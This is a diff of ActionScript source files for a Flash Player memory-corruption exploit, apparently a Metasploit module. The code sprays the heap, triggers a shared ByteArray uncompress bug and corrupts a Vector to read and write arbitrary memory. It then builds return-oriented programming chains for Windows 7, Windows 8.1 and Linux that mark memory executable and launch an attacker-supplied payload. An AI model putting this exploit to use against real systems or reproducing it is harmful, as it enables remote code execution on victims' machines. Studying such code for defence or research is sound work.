set_got_plt()
}
public function external_symbol(name:String):uint {
var entry:uint = 0
var st_name:uint = 0
var st_value:uint = 0
var st_size:uint = 0
var st_info:uint = 0
var st_other:uint = 0
var st_shndx:uint = 0
var st_string:String = ""
var got_plt_index:uint = 0
for(var i:uint = 0; i < 1000; i++) { // 1000 is just a limit
entry = sec_dynsym + 0x10 + (i * 0x10)
st_name = e_ba.read(entry)
st_value = e_ba.read(entry + 4)
st_info = e_ba.read(entry + 0xc, "byte")
st_string = e_ba.read_string(sec_dynstr + st_name)
if (st_string == name) {
return e_ba.read(sec_got_plt + 0xc + (got_plt_index * 4))
}
if (st_info != 0x11) {
got_plt_index++
}
}
throw new Error()
}
public function symbol(name:String):uint {
var entry:uint = 0
var st_name:uint = 0
var st_value:uint = 0
var st_size:uint = 0
var st_info:uint = 0
var st_other:uint = 0
var st_shndx:uint = 0
var st_string:String = ""
for(var i:uint = 0; i < 3000; i++) { // 3000 is just a limit
entry = sec_dynsym + 0x10 + (i * 0x10)
st_name = e_ba.read(entry)
st_value = e_ba.read(entry + 4)
st_info = e_ba.read(entry + 0xc, "byte")
st_string = e_ba.read_string(sec_dynstr + st_name)
if (st_string == name) {
return base + st_value
}
}
throw new Error()
}
public function gadget(gadget:String, hint:uint):uint
{
var value:uint = parseInt(gadget, 16)
var contents:uint = 0
for (var i:uint = 0; i < seg_exec_size - 4; i++) {
contents = e_ba.read(seg_exec + i)
if (hint == 0xffffffff && value == contents) {
return seg_exec + i
}
if (hint != 0xffffffff && value == (contents & hint)) {
return seg_exec + i
}
}
throw new Error()
}
private function set_base(addr:uint):void
{
addr &= 0xffff0000
while (true) {
if (e_ba.read(addr) == 0x464c457f) {
base = addr
return
}
addr -= 0x1000
}
throw new Error()
}
private function set_program_header():void
{
ph = base + e_ba.read(base + 0x1c)
}
private function set_program_header_size():void
{
ph_size = e_ba.read(base + 0x2c, "word")
}
private function set_program_header_entry_size():void
{
ph_esize = e_ba.read(base + 0x2a, "word")
}
private function set_dynamic_segment():void
{
var entry:uint = 0
var p_type:uint = 0
for (var i:uint = 0; i < ph_size; i++) {
entry = ph + (i * ph_esize)
p_type = e_ba.read(entry)
if (p_type == PT_DYNAMIC) {
seg_dynamic = base + e_ba.read(entry + 8)
seg_dynamic_size = e_ba.read(entry + 0x14)
return
}
}
throw new Error()
}
private function set_exec_segment():void
{
var entry:uint = 0
var p_type:uint = 0
var p_flags:uint = 0
for (var i:uint = 0; i < ph_size; i++) {
entry = ph + (i * ph_esize)
p_type = e_ba.read(entry)
p_flags = e_ba.read(entry + 0x18)
if (p_type == PT_LOAD && (p_flags & PT_READ_EXEC) == PT_READ_EXEC) {
seg_exec = base + e_ba.read(entry + 8)
seg_exec_size = e_ba.read(entry + 0x14)
return
}
}
throw new Error()
}
private function set_dynsym():void
{
var entry:uint = 0
var s_type:uint = 0
for (var i:uint = 0; i < seg_dynamic_size; i = i + 8) {
entry = seg_dynamic + i
s_type = e_ba.read(entry)
if (s_type == DT_SYMTAB) {
sec_dynsym = e_ba.read(entry + 4)
return
}
}
throw new Error()
}
private function set_dynstr():void
{
var entry:uint = 0
var s_type:uint = 0
for (var i:uint = 0; i < seg_dynamic_size; i = i + 8) {
entry = seg_dynamic + i
s_type = e_ba.read(entry)
if (s_type == DT_STRTAB) {
sec_dynstr = e_ba.read(entry + 4)
return
}
}
throw new Error()
}
private function set_got_plt():void
{
var entry:uint = 0
var s_type:uint = 0
for (var i:uint = 0; i < seg_dynamic_size; i = i + 8) {
entry = seg_dynamic + i
s_type = e_ba.read(entry)
if (s_type == DT_PLTGOT) {
sec_got_plt = e_ba.read(entry + 4)
return
}
}
throw new Error()
}
}
}

View File

@ -0,0 +1,281 @@
// Build how to:
// 1. Download the AIRSDK, and use its compiler.
// 2. Download the Flex SDK (4.6)
// 3. Copy the Flex SDK libs (<FLEX_SDK>/framework/libs) to the AIRSDK folder (<AIR_SDK>/framework/libs)
// (all of them, also, subfolders, specially mx, necessary for the Base64Decoder)
// 4. Build with: mxmlc -o msf.swf Main.as
// It uses original code from @hdarwin89 for exploitation using ba's and vectors
package
{
import flash.utils.*
import flash.display.*
import flash.system.*
import mx.utils.Base64Decoder
public final class Exploit extends Sprite {
private var shared_ba:ByteArray = null
private var hole_ba:ByteArray = null;
private var confuse_length_ba:ByteArray = null;
private var fake_ba:ByteArray = null;
private var worker:Worker = null;
private var byte_array_vector:Vector.<Object> = null;
private var byte_array_vector_length:int;
private var object_vector:Vector.<Object> = null;
private var object_vector_length:uint;
private var ba:ByteArray
private var uv:Vector.<uint>
private var corrupted_uv_index:uint = 0
private var stack:Vector.<uint> = new Vector.<uint>(0x6400)
private var payload_space:Vector.<uint> = new Vector.<uint>(0x6400)
private var b64:Base64Decoder = new Base64Decoder();
private var payload:ByteArray
private var platform:String
private var os:String
private var exploiter:Exploiter
public function Exploit() {
this.object_vector_length = 5770 * 2
this.byte_array_vector_length = 510 * 2
platform = LoaderInfo(this.root.loaderInfo).parameters.pl
os = LoaderInfo(this.root.loaderInfo).parameters.os
var b64_payload:String = LoaderInfo(this.root.loaderInfo).parameters.sh
var pattern:RegExp = / /g;
b64_payload = b64_payload.replace(pattern, "+")
b64.decode(b64_payload)
payload = b64.toByteArray()
this.initialize_worker_and_ba()
if (!this.trigger())
{
return
}
var index:uint = search_uint_vector(114, 0x40000000)
if (index == 0xffffffff) {
return
}
this.uv = this.object_vector[this.corrupted_uv_index]
for (var i:uint = 0; i < object_vector.length; i++) {
if (i != corrupted_uv_index)
object_vector[i] = null
}
exploiter = new Exploiter(this, platform, os, payload, uv)
}
final private function initialize_worker_and_ba():Boolean{
this.ba = new ByteArray()
this.ba.endian = "littleEndian"
this.ba.length = 1024
this.ba.writeUnsignedInt(0xdeedbeef)
this.ba.position = 0
this.shared_ba = new ByteArray()
this.shared_ba.shareable = true
this.shared_ba.endian = Endian.LITTLE_ENDIAN
this.shared_ba.writeUnsignedInt(252536)
this.shared_ba.writeUnsignedInt(16777216)
this.confuse_length_ba = new ByteArray()
this.confuse_length_ba.length = 0x2000
this.confuse_length_ba.endian = Endian.LITTLE_ENDIAN
this.fill_byte_array(this.confuse_length_ba, 0xAAAAAAAA)
this.fake_ba = new ByteArray();
this.fake_ba.endian = Endian.LITTLE_ENDIAN;
this.worker = WorkerDomain.current.createWorker(loaderInfo.bytes);
return true;
}
final private function trigger():Boolean{
// Memory massaging
// 1. Create ByteArray's of 0x2000 lenght and mark one of them (hole_ba)
this.fill_byte_array_vector();
// 2. Clear the marked ByteArray
this.hole_ba.clear();
// The shared_ba should be left in "shared" state
this.worker.setSharedProperty("fnfre", this.shared_ba)
this.worker.setSharedProperty("vfhrth", this.confuse_length_ba)
this.worker.setSharedProperty("vfhrth", this.shared_ba)
// fake_ba *data* is going to fill the space freed from the hole
this.fake_ba.length = 0x2000;
this.fill_byte_array(this.fake_ba, 0xBBBBBBBB);
// Trigger the vulnerability, if the memory layout is good enough
// the (freed) hole_ba metadata will end being the shared_ba metadata...
this.shared_ba.uncompress()
// So its size should be 0x2000
if (this.shared_ba.length != 0x2000)
{
return false
}
// Free the fake_ba and make holes on the ByteArray's
// allocated on massaging.
this.free_fake_and_make_holes()
// Fill the holes and the fake_ba data space with
// <uint> vectors
this.fill_with_vectors()
// Hopefully the shared_ba metadata, product of the vulnerability
// at this moment point to the <uint> vectors in memory =) it means
// game over.
var pwn_test:uint;
this.shared_ba.position = 0;
pwn_test = this.shared_ba.readUnsignedInt();
if (pwn_test == 0xBBBBBBBB)
{
return false
}
return true;
}
final private function fill_byte_array(local_ba:ByteArray, value:int):void{
var i:int;
local_ba.position = 0;
i = 0;
while (i < (local_ba.length / 4))
{
local_ba.writeInt(value);
i++;
};
local_ba.position = 0;
}
final private function fill_byte_array_vector():void{
var i:int;
var local_ba:ByteArray;
this.byte_array_vector = new Vector.<Object>(this.byte_array_vector_length)
i = 0;
while (i < this.byte_array_vector_length)
{
local_ba = new ByteArray();
this.byte_array_vector[i] = local_ba;
local_ba.endian = Endian.LITTLE_ENDIAN;
i++;
}
var hole_index:int = this.byte_array_vector_length * 4 / 5;
if (hole_index % 2 == 0)
{
hole_index++;
}
for(i = 0; i < this.byte_array_vector_length; i++)
{
local_ba = this.byte_array_vector[i] as ByteArray
local_ba.length = 0x2000
this.fill_byte_array(local_ba, 0xCCCCCCCC)
local_ba.writeInt(0xbabefac0)
local_ba.writeInt(0xbabefac1)
local_ba.writeInt(i)
local_ba.writeInt(0xbabefac3)
if (i == hole_index)
{
this.hole_ba = local_ba;
}
}
return;
}
final private function free_fake_and_make_holes():void {
var i:int
var clear_ba:ByteArray
var hole_index:int = this.byte_array_vector_length * 4 / 5
if (hole_index % 2 == 0)
{
hole_index++;
}
for (i = 0; i < this.byte_array_vector_length; i++)
{
if (i == hole_index) {
this.fake_ba.clear();
} else {
if (i % 2 == 1)
{
clear_ba = this.byte_array_vector[i] as ByteArray
this.fill_byte_array(clear_ba, 0xDDDDDDDD)
clear_ba.clear()
}
}
}
return
}
final private function fill_with_vectors():void {
var i:uint;
var uint_vector:Vector.<uint>;
var objects:Vector.<Object>;
this.object_vector = new Vector.<Object>(this.object_vector_length);
i = 0
while (i < this.object_vector_length)
{
this.object_vector[i] = new Vector.<uint>()
i++
}
i = 0
while (i < this.object_vector_length)
{
uint_vector = this.object_vector[i] as Vector.<uint>
uint_vector.length = 114
uint_vector[0] = 0xfeedbabe
uint_vector[1] = i
uint_vector[2] = 0xbabeface
i++
}
}
// Use the corrupted shared_ba to search and corrupt the uint vector
// Returns the offset to the *length* of the corrupted vector
private function search_uint_vector(old_length:uint, new_length:uint):uint {
this.shared_ba.position = 0
var i:uint = 0
var length:uint = 0
var atom:uint = 0
var mark_one:uint = 0
var index:uint = 0
var mark_two:uint = 0
while (i < 0x2000) {
length = shared_ba.readUnsignedInt()
if (length == old_length) {
atom = shared_ba.readUnsignedInt()
mark_one = shared_ba.readUnsignedInt()
index = shared_ba.readUnsignedInt()
mark_two = shared_ba.readUnsignedInt()
if (mark_one == 0xfeedbabe && mark_two == 0xbabeface) {
shared_ba.position = i
shared_ba.writeUnsignedInt(new_length)
this.corrupted_uv_index = index
return i;
}
i = i + 16
}
i = i + 4
}
return 0xffffffff
}
}
}

View File

@ -0,0 +1,85 @@
package
{
import flash.utils.ByteArray
public class ExploitByteArray
{
private const MAX_STRING_LENGTH:uint = 100
public var ba:ByteArray
public var original_length:uint
private var platform:String
public function ExploitByteArray(p:String, l:uint = 1024)
{
ba = new ByteArray()
ba.length = l
ba.endian = "littleEndian"
ba.writeUnsignedInt(0)
platform = p
original_length = l
}
public function set_length(length:uint):void
{
ba.length = length
}
public function get_length():uint
{
return ba.length
}
public function lets_ready():void
{
ba.endian = "littleEndian"
if (platform == "linux") {
ba.length = 0xffffffff
}
}
public function is_ready():Boolean
{
if (ba.length == 0xffffffff)
return true
return false
}
public function read(addr:uint, type:String = "dword"):uint
{
ba.position = addr
switch(type) {
case "dword":
return ba.readUnsignedInt()
case "word":
return ba.readUnsignedShort()
case "byte":
return ba.readUnsignedByte()
}
return 0
}
public function read_string(addr:uint, length:uint = 0):String
{
ba.position = addr
if (length == 0)
return ba.readUTFBytes(MAX_STRING_LENGTH)
else
return ba.readUTFBytes(length)
}
public function write(addr:uint, value:* = 0, zero:Boolean = true):void
{
var i:uint
if (addr) ba.position = addr
if (value is String) {
for (i = 0; i < value.length; i++) ba.writeByte(value.charCodeAt(i))
if (zero) ba.writeByte(0)
} else if (value is ByteArray) {
var value_length:uint = value.length
for (i = 0; i < value_length; i++) ba.writeByte(value.readByte())
} else ba.writeUnsignedInt(value)
}
}
}

View File

@ -0,0 +1,74 @@
package
{
public class ExploitVector
{
private var uv:Vector.<uint>
public var original_length:uint = 114
public function ExploitVector(v:Vector.<uint>)
{
uv = v
}
public function restore():void
{
uv[0x3ffffffe] = original_length
}
public function is_ready():Boolean
{
if (uv.length > original_length)
{
return true
}
return false
}
public function at(pos:uint):uint
{
return uv[pos]
}
// pos: position where a Vector.<Object>[0] lives
public function set_own_address(pos:uint):void
{
uv[0] = uv[pos - 5] - ((pos - 5) * 4) - 0xc
}
public function read(addr:uint):uint
{
var pos:uint = 0
if (addr > uv[0]) {
pos = ((addr - uv[0]) / 4) - 2
} else {
pos = ((0xffffffff - (uv[0] - addr)) / 4) - 1
}
return uv[pos]
}
public function write(addr:uint, value:uint = 0):void
{
var pos:uint = 0
if (addr > uv[0]) {
pos = ((addr - uv[0]) / 4) - 2
} else {
pos = ((0xffffffff - (uv[0] - addr)) / 4) - 1
}
uv[pos] = value
}
public function search_pattern(pattern:uint, limit:uint):uint
{
for (var i:uint = 0; i < limit/4; i++) {
if (uv[i] == pattern) {
return i
}
}
throw new Error()
}
}
}

View File

@ -0,0 +1,399 @@
package
{
import flash.utils.ByteArray
import flash.system.System
public class Exploiter
{
private const VECTOR_OBJECTS_LENGTH:uint = 1014
private var exploit:Exploit
private var ev:ExploitVector
private var eba:ExploitByteArray
private var payload:ByteArray
private var platform:String
private var op_system:String
private var pos:uint
private var byte_array_object:uint
private var main:uint
private var stack_object:uint
private var payload_space_object:uint
private var buffer_object:uint
private var buffer:uint
private var vtable:uint
private var stack_address:uint
private var payload_address:uint
private var stack:Vector.<uint> = new Vector.<uint>(0x6400)
private var payload_space:Vector.<uint> = new Vector.<uint>(0x6400)
private var spray:Vector.<Object> = new Vector.<Object>(10000)
public function Exploiter(exp:Exploit, pl:String, os:String, p:ByteArray, uv:Vector.<uint>):void
{
exploit = exp
payload = p
platform = pl
op_system = os
ev = new ExploitVector(uv)
if (!ev.is_ready()) return
eba = new ExploitByteArray(platform)
spray_objects()
try { pos = search_objects() } catch (err:Error) { ev.restore(); cleanup(); return; }
ev.set_own_address(pos)
if (!disclose_objects()) { ev.restore(); cleanup(); return; }
disclose_addresses()
corrupt_byte_array()
if (!eba.is_ready()) { ev.restore(); cleanup(); return }
do_rop()
restore_byte_array()
ev.restore()
cleanup()
}
private function spray_objects():void
{
Logger.log("[*] Exploiter - spray_objects()")
for (var i:uint = 0; i < spray.length; i++)
{
spray[i] = new Vector.<Object>(VECTOR_OBJECTS_LENGTH)
spray[i][0] = eba.ba
spray[i][1] = exploit
spray[i][2] = stack
spray[i][3] = payload_space
}
}
private function search_objects():uint
{
Logger.log("[*] Exploiter - search_objects()")
var idx:uint = ev.search_pattern(VECTOR_OBJECTS_LENGTH, 0x8000)
return idx + 1
}
private function disclose_objects():Boolean
{
Logger.log("[*] Exploiter - disclose_objects()")
byte_array_object = ev.at(pos) - 1
main = ev.at(pos + 1) - 1
stack_object = ev.at(pos + 2) - 1
payload_space_object = ev.at(pos + 3) - 1
if (byte_array_object < 0x1000 || main < 0x1000 || stack_object < 0x1000 || payload_space_object < 0x1000) {
return false
}
return true
}
private function disclose_addresses():void
{
Logger.log("[*] Exploiter - disclose_addresses()")
if (platform == "linux")
{
buffer_object = ev.read(byte_array_object + 0x10)
buffer = ev.read(buffer_object + 0x1c)
}
else if (platform == "win")
{
buffer_object = ev.read(byte_array_object + 0x40)
buffer = ev.read(buffer_object + 8)
}
vtable = ev.read(main)
stack_address = ev.read(stack_object + 0x18)
payload_address = ev.read(payload_space_object + 0x18)
}
private function corrupt_byte_array():void
{
Logger.log("[*] Exploiter - corrupt_byte_array(): " + platform)
if (platform == "linux")
{
ev.write(buffer_object + 0x1c) // *array
ev.write(buffer_object + 0x20, 0xffffffff) // capacity
}
else if (platform == "win")
{
ev.write(buffer_object + 8) // *array
ev.write(buffer_object + 16, 0xffffffff) // capacity
}
eba.lets_ready()
}
private function restore_byte_array():void
{
Logger.log("[*] Exploiter - restore_byte_array(): " + platform)
if (platform == "linux")
{
ev.write(buffer_object + 0x1c, buffer) // *array
ev.write(buffer_object + 0x20, 1024) // capacity
}
else if (platform == "win")
{
ev.write(buffer_object + 8, buffer) // *array
ev.write(buffer_object + 16, 1024) // capacity
}
eba.set_length(eba.original_length)
}
private function do_rop():void
{
Logger.log("[*] Exploiter - do_rop()")
if (platform == "linux") {
do_rop_linux()
} else if (platform == "win") {
if (op_system == "Windows 8.1") {
do_rop_windows8()
} else if (op_system == "Windows 7") {
do_rop_windows()
} else {
return
}
} else {
return
}
}
private function do_rop_windows():void
{
Logger.log("[*] Exploiter - do_rop_windows()")
var pe:PE = new PE(eba)
var flash:uint = pe.base(vtable)
var winmm:uint = pe.module("winmm.dll", flash)
var kernel32:uint = pe.module("kernel32.dll", winmm)
var ntdll:uint = pe.module("ntdll.dll", kernel32)
var virtualprotect:uint = pe.procedure("VirtualProtect", kernel32)
var virtualalloc:uint = pe.procedure("VirtualAlloc", kernel32)
var createthread:uint = pe.procedure("CreateThread", kernel32)
var memcpy:uint = pe.procedure("memcpy", ntdll)
var xchgeaxespret:uint = pe.gadget("c394", 0x0000ffff, flash)
var xchgeaxesiret:uint = pe.gadget("c396", 0x0000ffff, flash)
var addespcret:uint = pe.gadget("c30cc483", 0xffffffff, ntdll)
// Continuation of execution
eba.write(buffer + 0x10, "\xb8", false); eba.write(0, vtable, false) // mov eax, vtable
eba.write(0, "\xbb", false); eba.write(0, main, false) // mov ebx, main
eba.write(0, "\x89\x03", false) // mov [ebx], eax
eba.write(0, "\x87\xf4\xc3", false) // xchg esp, esi # ret
// Put the payload (command) in memory
eba.write(payload_address + 8, payload, true); // payload
// Put the fake vtabe / stack on memory
eba.write(stack_address + 0x18070, xchgeaxespret) // Initial gadget (stackpivot); from @hdarwin89 sploits, kept for reliability...
eba.write(stack_address + 0x180a4, xchgeaxespret) // Initial gadget (stackpivot); call dword ptr [eax+0A4h]
eba.write(stack_address + 0x18000, xchgeaxesiret) // fake vtable; also address will become stack after stackpivot
eba.write(0, virtualprotect)
// VirtualProtect
eba.write(0, virtualalloc)
eba.write(0, buffer + 0x10)
eba.write(0, 0x1000)
eba.write(0, 0x40)
eba.write(0, buffer + 0x8) // Writable address (4 bytes)
// VirtualAlloc
eba.write(0, memcpy)
eba.write(0, 0x7f6e0000)
eba.write(0, 0x4000)
eba.write(0, 0x1000 | 0x2000) // MEM_COMMIT | MEM_RESERVE
eba.write(0, 0x40) // PAGE_EXECUTE_READWRITE
// memcpy
eba.write(0, addespcret) // stack pivot over arguments because ntdll!memcpy doesn't
eba.write(0, 0x7f6e0000)
eba.write(0, payload_address + 8)
eba.write(0, payload.length)
// CreateThread
eba.write(0, createthread)
eba.write(0, buffer + 0x10) // return to fix things
eba.write(0, 0)
eba.write(0, 0)
eba.write(0, 0x7f6e0000)
eba.write(0, 0)
eba.write(0, 0)
eba.write(0, 0)
eba.write(main, stack_address + 0x18000) // overwrite with fake vtable
exploit.toString() // call method in the fake vtable
}
private function do_rop_windows8():void
{
Logger.log("[*] Exploiter - do_rop_windows8()")
var pe:PE = new PE(eba)
var flash:uint = pe.base(vtable)
var winmm:uint = pe.module("winmm.dll", flash)
var advapi32:uint = pe.module("advapi32.dll", flash)
var kernelbase:uint = pe.module("kernelbase.dll", advapi32)
var kernel32:uint = pe.module("kernel32.dll", winmm)
var ntdll:uint = pe.module("ntdll.dll", kernel32)
var virtualprotect:uint = pe.procedure("VirtualProtect", kernelbase)
var virtualalloc:uint = pe.procedure("VirtualAlloc", kernelbase)
var createthread:uint = pe.procedure("CreateThread", kernelbase)
var memcpy:uint = pe.procedure("memcpy", ntdll)
var xchgeaxespret:uint = pe.gadget("c394", 0x0000ffff, flash)
var xchgeaxesiret:uint = pe.gadget("c396", 0x0000ffff, flash)
var addespcret:uint = pe.gadget("c30cc483", 0xffffffff, ntdll)
// Continuation of execution
eba.write(buffer + 0x10, "\xb8", false); eba.write(0, vtable, false) // mov eax, vtable
eba.write(0, "\xbb", false); eba.write(0, main, false) // mov ebx, main
eba.write(0, "\x89\x03", false) // mov [ebx], eax
eba.write(0, "\x87\xf4\xc3", false) // xchg esp, esi # ret
// Put the payload (command) in memory
eba.write(payload_address + 8, payload, true); // payload
// Put the fake vtabe / stack on memory
eba.write(stack_address + 0x18070, xchgeaxespret) // Initial gadget (stackpivot); from @hdarwin89 sploits, kept for reliability...
eba.write(stack_address + 0x180a4, xchgeaxespret) // Initial gadget (stackpivot); call dword ptr [eax+0A4h]
eba.write(stack_address + 0x18000, xchgeaxesiret) // fake vtable; also address will become stack after stackpivot
eba.write(0, virtualprotect)
// VirtualProtect
eba.write(0, virtualalloc)
eba.write(0, buffer + 0x10)
eba.write(0, 0x1000)
eba.write(0, 0x40)
eba.write(0, buffer + 0x8) // Writable address (4 bytes)
// VirtualAlloc
eba.write(0, memcpy)
eba.write(0, 0x7ffd0000)
eba.write(0, 0x4000)
eba.write(0, 0x1000 | 0x2000) // MEM_COMMIT | MEM_RESERVE
eba.write(0, 0x40) // PAGE_EXECUTE_READWRITE
// memcpy
eba.write(0, addespcret) // stack pivot over arguments because ntdll!memcpy doesn't
eba.write(0, 0x7ffd0000)
eba.write(0, payload_address + 8)
eba.write(0, payload.length)
// CreateThread
eba.write(0, createthread)
eba.write(0, buffer + 0x10) // return to fix things
eba.write(0, 0)
eba.write(0, 0)
eba.write(0, 0x7ffd0000)
eba.write(0, 0)
eba.write(0, 0)
eba.write(0, 0)
eba.write(main, stack_address + 0x18000) // overwrite with fake vtable
exploit.toString() // call method in the fake vtable
}
private function do_rop_linux():void
{
Logger.log("[*] Exploiter - do_rop_linux()")
var flash:Elf = new Elf(eba, vtable)
var feof:uint = flash.external_symbol('feof')
var libc:Elf = new Elf(eba, feof)
var popen:uint = libc.symbol("popen")
var mprotect:uint = libc.symbol("mprotect")
var mmap:uint = libc.symbol("mmap")
var clone:uint = libc.symbol("clone")
var xchgeaxespret:uint = flash.gadget("c394", 0x0000ffff)
var xchgeaxesiret:uint = flash.gadget("c396", 0x0000ffff)
var addesp2cret:uint = flash.gadget("c32cc483", 0xffffffff)
// Continuation of execution
// 1) Recover original vtable
eba.write(buffer + 0x10, "\xb8", false); eba.write(0, vtable, false) // mov eax, vtable
eba.write(0, "\xbb", false); eba.write(0, main, false) // mov ebx, main
eba.write(0, "\x89\x03", false) // mov [ebx], eax
// 2) Recover original stack
eba.write(0, "\x87\xf4\xc3", false) // xchg esp, esi
// my_memcpy
eba.write(buffer + 0x60, "\x56", false) // push esi
eba.write(0, "\x57", false) // push edi
eba.write(0, "\x51", false) // push ecx
eba.write(0, "\x8B\x7C\x24\x10", false) // mov edi,[esp+0x10]
eba.write(0, "\x8B\x74\x24\x14", false) // mov esi,[esp+0x14]
eba.write(0, "\x8B\x4C\x24\x18", false) // mov ecx,[esp+0x18]
eba.write(0, "\xF3\xA4", false) // rep movsb
eba.write(0, "\x59", false) // pop ecx
eba.write(0, "\x5f", false) // pop edi
eba.write(0, "\x5e", false) // pop esi
eba.write(0, "\xc3", false) // ret
// Put the popen parameters in memory
eba.write(payload_address + 0x8, payload, true) // false
// Put the fake stack/vtable on memory
eba.write(stack_address + 0x18024, xchgeaxespret) // Initial gadget, stackpivot
eba.write(stack_address + 0x18000, xchgeaxesiret) // Save original stack on esi
eba.write(0, addesp2cret) //second pivot to preserver stack_address + 0x18024
// Return to mprotect()
eba.write(stack_address + 0x18034, mprotect)
// Return to stackpivot (jmp over mprotect parameters)
eba.write(0, addesp2cret)
// mprotect() arguments
eba.write(0, buffer) // addr
eba.write(0, 0x1000) // size
eba.write(0, 0x7) // PROT_READ | PROT_WRITE | PROT_EXEC
// Return to mmap()
eba.write(stack_address + 0x18068, mmap)
// Return to stackpivot (jmp over mmap parameters)
eba.write(0, addesp2cret)
// mmap() code segment arguments
eba.write(0, 0x70000000) // 0x70000000
eba.write(0, 0x4000) // size
eba.write(0, 0x7) // PROT_READ | PROT_WRITE | PROT_EXEC
eba.write(0, 0x22) // MAP_PRIVATE | MAP_ANONYMOUS
eba.write(0, 0xffffffff) // filedes
eba.write(0, 0) // offset
// Return to mmap()
eba.write(stack_address + 0x1809c, mmap)
// Return to stackpivot (jmp over mmap parameters)
eba.write(0, addesp2cret)
// mmap() stack segment arguments
eba.write(0, 0x70008000) // NULL
eba.write(0, 0x10000) // size
eba.write(0, 0x7) // PROT_READ | PROT_WRITE | PROT_EXEC
eba.write(0, 0x22) // MAP_PRIVATE | MAP_ANONYMOUS
eba.write(0, -1) // filedes
eba.write(0, 0) // offset
// Return to memcpy()
eba.write(stack_address + 0x180d0, buffer + 0x60)
// Return to stackpivot (jmp over memcpy parameters)
eba.write(0, addesp2cret)
// memcpy() parameters
eba.write(0, 0x70000000)
eba.write(0, payload_address + 0x8)
eba.write(0, payload.length)
// Return to clone()
eba.write(stack_address + 0x18104, clone)
// Return to CoE (fix stack and object vtable)
eba.write(0, buffer + 0x10)
// clone() arguments
eba.write(0, 0x70000000) // code
eba.write(0, 0x7000bff0) // stack
eba.write(0, 0x00000100) // flags CLONE_VM
eba.write(0, 0) // args
//call DWORD PTR [eax+0x24]
//EAX: 0x41414141 ('AAAA')
//EDI: 0xad857088 ("AAAA\377")
eba.write(main, stack_address + 0x18000)
exploit.hasOwnProperty('msf')
}
private function cleanup():void
{
Logger.log("[*] Exploiter - cleanup()")
spray = null
stack = null
payload_space = null
eba = null
ev = null
exploit = null
System.pauseForGCIfCollectionImminent(0)
}
}
}

View File

@ -0,0 +1,32 @@
package
{
import flash.external.ExternalInterface
public class Logger {
private static const DEBUG:uint = 0
public static function alert(msg:String):void
{
var str:String = "";
if (DEBUG == 1)
str += msg;
if(ExternalInterface.available){
ExternalInterface.call("alert", str);
}
}
public static function log(msg:String):void
{
var str:String = "";
if (DEBUG == 1)
str += msg;
if(ExternalInterface.available){
ExternalInterface.call("console.log", str);
}
}
}
}

View File

@ -1,502 +0,0 @@
// Build how to:
// 1. Download the AIRSDK, and use its compiler.
// 2. Download the Flex SDK (4.6)
// 3. Copy the Flex SDK libs (<FLEX_SDK>/framework/libs) to the AIRSDK folder (<AIR_SDK>/framework/libs)
// (all of them, also, subfolders, specially mx, necessary for the Base64Decoder)
// 4. Build with: mxmlc -o msf.swf Main.as
// It uses original code from @hdarwin89 for exploitation using ba's and vectors
package
{
import flash.utils.*
import flash.display.*
import flash.system.*
import mx.utils.Base64Decoder
public final class Msf extends Sprite {
private var shared_ba:ByteArray = null
private var hole_ba:ByteArray = null;
private var confuse_length_ba:ByteArray = null;
private var fake_ba:ByteArray = null;
private var worker:Worker = null;
private var byte_array_vector:Vector.<Object> = null;
private var byte_array_vector_length:int;
private var object_vector:Vector.<Object> = null;
private var object_vector_length:uint;
private var ba:ByteArray
private var uv:Vector.<uint>
private var corrupted_uv_index:uint = 0
private var stack:Vector.<uint> = new Vector.<uint>(0x6400)
private var payload_space:Vector.<uint> = new Vector.<uint>(0x6400)
private var b64:Base64Decoder = new Base64Decoder();
private var payload:String = ""
public function Msf() {
this.object_vector_length = 5770 * 2
this.byte_array_vector_length = 510 * 2
b64.decode(LoaderInfo(this.root.loaderInfo).parameters.sh)
payload = b64.toByteArray().toString();
this.initialize_worker_and_ba()
if (!this.trigger())
{
return
}
var index:uint = search_uint_vector(114, 0x40000000)
if (index == 0xffffffff) {
return
}
this.uv = this.object_vector[this.corrupted_uv_index]
// Use the corrupted Vector<uint> to search saved addresses
var object_vector_pos:uint = search_object_vector()
var byte_array_object:uint = this.uv[object_vector_pos] - 1
var main:uint = this.uv[object_vector_pos + 2] - 1
var stack_object:uint = this.uv[object_vector_pos + 3] - 1
var payload_space_object:uint = this.uv[object_vector_pos + 4] - 1
// Locate the corrupted Vector<uint> in memory
// It allows arbitrary address memory read/write
var ba_address:uint = search_ba_address()
if (ba_address == 0xffffffff) {
return
}
var uv_address:uint = ba_address + index
this.uv[0] = uv_address
// Use the corrupted Vector<uint> to disclose arbitrary memory
var buffer_object:uint = vector_read(byte_array_object + 0x40)
var buffer:uint = vector_read(buffer_object + 8)
var stack_address:uint = vector_read(stack_object + 0x18)
var payload_address:uint = vector_read(payload_space_object + 0x18)
var vtable:uint = vector_read(main)
// Set the new ByteArray length
ba.endian = "littleEndian"
ba.length = 0x500000
// Overwite the ByteArray data pointer and capacity
var ba_array:uint = buffer_object + 8
var ba_capacity:uint = buffer_object + 16
vector_write(ba_array)
vector_write(ba_capacity, 0xffffffff)
// restoring the corrupted vector length since we don't need it
// anymore
this.uv[0] = 0xfeedbabe
//index = search_uint_vector(0xffffffff, 114)
index = search_uint_vector(0x40000000, 114)
if (index == 0xffffffff) {
return
}
var flash:uint = base(vtable)
var winmm:uint = module("winmm.dll", flash)
var kernel32:uint = module("kernel32.dll", winmm)
var virtualprotect:uint = procedure("VirtualProtect", kernel32)
var winexec:uint = procedure("WinExec", kernel32)
var xchgeaxespret:uint = gadget("c394", 0x0000ffff, flash)
var xchgeaxesiret:uint = gadget("c396", 0x0000ffff, flash)
// Continuation of execution
byte_write(buffer + 0x10, "\xb8", false); byte_write(0, vtable, false) // mov eax, vtable
byte_write(0, "\xbb", false); byte_write(0, main, false) // mov ebx, main
byte_write(0, "\x89\x03", false) // mov [ebx], eax
byte_write(0, "\x87\xf4\xc3", false) // xchg esp, esi # ret
// Put the payload (command) in memory
byte_write(payload_address + 8, payload, true); // payload
// Put the fake vtabe / stack on memory
byte_write(stack_address + 0x18070, xchgeaxespret) // Initial gadget (stackpivot); from @hdarwin89 sploits, kept for reliability...
byte_write(stack_address + 0x180a4, xchgeaxespret) // Initial gadget (stackpivot); call dword ptr [eax+0A4h]
byte_write(stack_address + 0x18000, xchgeaxesiret) // fake vtable; also address will become stack after stackpivot
byte_write(0, virtualprotect)
// VirtualProtect
byte_write(0, winexec)
byte_write(0, buffer + 0x10)
byte_write(0, 0x1000)
byte_write(0, 0x40)
byte_write(0, buffer + 0x8) // Writable address (4 bytes)
// WinExec
byte_write(0, buffer + 0x10)
byte_write(0, payload_address + 8)
byte_write(0)
